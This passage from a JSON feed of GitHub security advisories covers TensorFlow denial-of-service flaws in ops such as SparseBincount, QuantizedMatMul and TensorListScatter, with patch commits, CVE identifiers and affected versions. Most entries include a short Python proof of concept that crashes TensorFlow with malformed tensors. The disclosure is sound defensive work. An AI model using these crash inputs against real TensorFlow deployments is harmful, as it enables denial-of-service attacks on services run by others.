us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:30:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2xf-8hgm-hpw5","https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35984","https://github.com/advisories/GHSA-p2xf-8hgm-hpw5"],"source_kind":"github","identifiers":["GHSA-p2xf-8hgm-hpw5","CVE-2022-35984"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.881Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS0zOTdjLTVnMmotcXhwds4AAu21","url":"https://github.com/advisories/GHSA-397c-5g2j-qxpv","title":"TensorFlow vulnerable to segfault in `SparseBincount`","description":"### Impact\nIf `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\nbinary_output = True\nindices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)\nvalues = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)\ndense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)\nsize = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)\nweights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)\ntf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:27:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-397c-5g2j-qxpv","https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35982","https://github.com/advisories/GHSA-397c-5g2j-qxpv"],"source_kind":"github","identifiers":["GHSA-397c-5g2j-qxpv","CVE-2022-35982"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.923Z","updated_at":"2023-01-28T05:02:55.000Z","epss_percentage":0.0022,"epss_percentile":0.44672},{"uuid":"GSA_kwCzR0hTQS12eHY4LXI4cTItNjN4d84AAu20","url":"https://github.com/advisories/GHSA-vxv8-r8q2-63xw","title":"TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`","description":"### Impact\n`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\noverlapping = True\norig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\norig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nout_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nrow_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ncol_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ntf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:26:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vxv8-r8q2-63xw","https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35981","https://github.com/advisories/GHSA-vxv8-r8q2-63xw"],"source_kind":"github","identifiers":["GHSA-vxv8-r8q2-63xw","CVE-2022-35981"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.931Z","updated_at":"2023-01-28T05:02:55.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS12Z3ZoLTJwZjQtanIyeM4AAu2y","url":"https://github.com/advisories/GHSA-vgvh-2pf4-jr2x","title":"TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange`","description":"### Impact\nIf `QuantizeDownAndShrinkRange` is given nonscalar inputs for `input_min` or `input_max`, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nout_type = tf.quint8\ninput = tf.constant([1], shape=[3], dtype=tf.qint32)\ninput_min = tf.constant([], shape=[0], dtype=tf.float32)\ninput_max = tf.constant(-256, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [73ad1815ebcfeb7c051f9c2f7ab5024380ca8613](https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:23:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vgvh-2pf4-jr2x","https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35974","https://github.com/advisories/GHSA-vgvh-2pf4-jr2x"],"source_kind":"github","identifiers":["GHSA-vgvh-2pf4-jr2x","CVE-2022-35974"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.948Z","updated_at":"2023-01-28T05:03:03.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS02ODljLXI3aDItZnY5ds4AAu2x","url":"https://github.com/advisories/GHSA-689c-r7h2-fv9v","title":"TensorFlow vulnerable to segfault in `QuantizedMatMul`","description":"### Impact\nIf `QuantizedMatMul` is given nonscalar input for:\n - `min_a`\n - `max_a`\n - `min_b`\n - `max_b`\nIt gives a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nToutput = tf.qint32\ntranspose_a = False\ntranspose_b = False\nTactivation = tf.quint8\na = tf.constant(7, shape=[3,4], dtype=tf.quint8)\nb = tf.constant(1, shape=[2,3], dtype=tf.quint8)\nmin_a = tf.constant([], shape=[0], dtype=tf.float32)\nmax_a = tf.constant(0, shape=[1], dtype=tf.float32)\nmin_b = tf.constant(0, shape=[1], dtype=tf.float32)\nmax_b = tf.constant(0, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:22:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-689c-r7h2-fv9v","https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35973","https://github.com/advisories/GHSA-689c-r7h2-fv9v"],"source_kind":"github","identifiers":["GHSA-689c-r7h2-fv9v","CVE-2022-35973"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.957Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS1nMzVyLTM2OXctM2ZxcM4AAu2u","url":"https://github.com/advisories/GHSA-g35r-369w-3fqp","title":"TensorFlow vulnerable to segfault in `QuantizedInstanceNorm`","description":"### Impact\nIf `QuantizedInstanceNorm` is given `x_min` or `x_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\noutput_range_given = False\ngiven_y_min = 0\ngiven_y_max = 0\nvariance_epsilon = 1e-05\nmin_separation = 0.001\nx = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)\nx_min = tf.constant([], shape=[0], dtype=tf.float32)\nx_max = tf.constant(0, shape=[], dtype=tf.float32)\ntf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:17:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g35r-369w-3fqp","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35970","https://github.com/advisories/GHSA-g35r-369w-3fqp"],"source_kind":"github","identifiers":["GHSA-g35r-369w-3fqp","CVE-2022-35970"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.984Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS1wcXJ2LThyMmYtNzI3OM0orw","url":"https://github.com/advisories/GHSA-pqrv-8r2f-7278","title":"Crash due to erroneous `StatusOr` in TensorFlow","description":"### Impact\nA `GraphDef` from a TensorFlow `SavedModel` can be maliciously altered to cause a TensorFlow process to crash due to encountering [a `StatusOr` value that is an error and forcibly extracting the value from it](https://github.com/tensorflow/tensorflow/blob/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/graph/graph.cc#L560-L567):\n\n```cc\n  if (op_reg_data-\u003etype_ctor != nullptr) {\n    VLOG(3) \u003c\u003c \"AddNode: found type constructor for \" \u003c\u003c node_def.name();\n    const auto ctor_type =\n        full_type::SpecializeType(AttrSlice(node_def), op_reg_data-\u003eop_def);\n    const FullTypeDef ctor_typedef = ctor_type.ValueOrDie();\n    if (ctor_typedef.type_id() != TFT_UNSET) {\n      *(node_def.mutable_experimental_type()) = ctor_typedef;\n    }\n  }\n```   \n      \nIf `ctor_type` is an error status, `ValueOrDie` results in a crash.\n        \n### Patches\nWe have patched the issue in GitHub commit [955059813cc325dc1db5e2daa6221271406d4439](https://github.com/tensorflow/tensorflow/commit/955059813cc325dc1db5e2daa6221271406d4439).\n  \nWe have patched the issue in multiple GitHub commits and these will be included in TensorFlow 2.8.0 and TensorFlow 2.7.1, as both are affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-09T23:29:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pqrv-8r2f-7278","https://github.com/tensorflow/tensorflow/commit/955059813cc325dc1db5e2daa6221271406d4439","https://github.com/tensorflow/tensorflow/blob/274df9b02330b790aa8de1cee164b70f72b9b244/tensorflow/core/graph/graph.cc#L560-L567","https://nvd.nist.gov/vuln/detail/CVE-2022-23590","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-99.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-154.yaml","https://github.com/advisories/GHSA-pqrv-8r2f-7278"],"source_kind":"github","identifiers":["GHSA-pqrv-8r2f-7278","CVE-2022-23590"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"\u003c 2.7.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:22.255Z","updated_at":"2023-02-03T05:05:38.000Z","epss_percentage":0.00239,"epss_percentile":0.46959},{"uuid":"GSA_kwCzR0hTQS12NmgzLTM0OGctNmg1eM4AAu2r","url":"https://github.com/advisories/GHSA-v6h3-348g-6h5x","title":"TensorFlow vulnerable to segfault in `QuantizedAdd`","description":"### Impact\nIf `QuantizedAdd` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nToutput = tf.qint32\nx = tf.constant(140, shape=[1], dtype=tf.quint8)\ny = tf.constant(26, shape=[10], dtype=tf.quint8)\nmin_x = tf.constant([], shape=[0], dtype=tf.float32)\nmax_x = tf.constant(0, shape=[], dtype=tf.float32)\nmin_y = tf.constant(0, shape=[], dtype=tf.float32)\nmax_y = tf.constant(0, shape=[], dtype=tf.float32)\ntf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y, Toutput=Toutput)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:16:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-v6h3-348g-6h5x","https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35967","https://github.com/advisories/GHSA-v6h3-348g-6h5x"],"source_kind":"github","identifiers":["GHSA-v6h3-348g-6h5x","CVE-2022-35967"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.016Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS00dzY4LTR4ODUtbWpqOc4AAu2q","url":"https://github.com/advisories/GHSA-4w68-4x85-mjj9","title":"TensorFlow vulnerable to segfault in `QuantizedAvgPool`","description":"### Impact\nIf `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nksize = [1, 2, 2, 1]\nstrides = [1, 2, 2, 1]\npadding = \"SAME\"\ninput = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)\nmin_input = tf.constant([], shape=[0], dtype=tf.float32)\nmax_input = tf.constant(0, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:15:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4w68-4x85-mjj9","https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35966","https://github.com/advisories/GHSA-4w68-4x85-mjj9"],"source_kind":"github","identifiers":["GHSA-4w68-4x85-mjj9","CVE-2022-35966"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.032Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.00206,"epss_percentile":0.43161},{"uuid":"GSA_kwCzR0hTQS12bTd4LTRxaGotcnJjcc4AAu2o","url":"https://github.com/advisories/GHSA-vm7x-4qhj-rrcq","title":"TensorFlow vulnerable to `CHECK` fail in `TensorListScatter` and `TensorListScatterV2`","description":"### Impact\nWhen `TensorListScatter` and `TensorListScatterV2` receive an `element_shape` of a rank greater than one, they give a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, 